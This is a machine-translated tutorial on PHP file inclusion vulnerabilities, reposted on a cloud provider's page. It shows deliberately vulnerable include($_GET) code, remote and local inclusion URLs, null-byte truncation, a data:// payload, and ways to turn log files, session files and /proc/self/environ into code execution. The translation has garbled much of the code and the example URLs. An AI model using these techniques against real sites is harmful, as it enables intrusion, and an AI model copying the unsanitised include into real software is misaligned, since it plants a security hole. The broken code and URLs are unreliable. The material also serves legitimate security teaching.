PHP file containing notes

Source: Internet
Author: User

In PHP, you can use the include (), require (), include_once (), and require_once () functions to include files. All included files are executed regardless of their type. When allow_url_include is configured as on, remote files can be included. Otherwise, local files can be included only when off. Another key configuration is open_basedir. This option limits the directories that can be included.

1,CodeExample:

PHP <? Php <br/> include ($ _ Get ['test']); <br/>?>

123 <? PHPInclude($ _ Get['Test']);?>

Local file: 192.168.1.8/test. php? Test2.16a.jpg

Remote File: 192.168.1.8/test. php? Http://www.chuhades.com/index.php

2. Truncation

You can break through some character concatenation by truncation. Code:

php <? Php
$ file =$ _ Get ['test'];
include ($ file. 'abc');
?>

1234 <? PHP$ File=$ _ Get['Test'];Include($ File.'Abcd');?>

In this Code, if you directly 192.168.1.8/test. php? Test‑a.jpg, which contains a.jpg ABCD. If the file does not exist, an error will occur.

Because PHP kernel is implemented in C, string truncation can be performed through 0 bytes.

192.168.1.8/test. php? Test2.16a.jpg % 00

You can also use "?" to include remote files. The following code is interpreted as URL parameters and truncated.

3. Tips for using local files

(1) include the files uploaded by the user. (2) include data ://Or PHP: // input and other pseudo protocols.Http: // 192.168.1.8/test. php? Test = data: text/plain, <? PHPPhpinfo ();?> % 00(3) include SessionFile.(4) include log files, such as Web ServerError_log and access_log.General steps: httpd. conf --> log (5) contains the/proc/self/environ file. Inject PHP code into the User-Agent. (6) include uploaded temporary files.

Http://www.exploit-db.com/download_pdf/17010

(7) include files created by other applications, such as database files, cache files, and application logs.

4. Other functions: fopen () fread ()......

5. Instances

Http://www.wooyun.org/bug.php? Action = List & subtype = 49

Http://www.wooyun.org/bug.php? Action = List & subtype = 15

 

<PHP, file inclusion>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.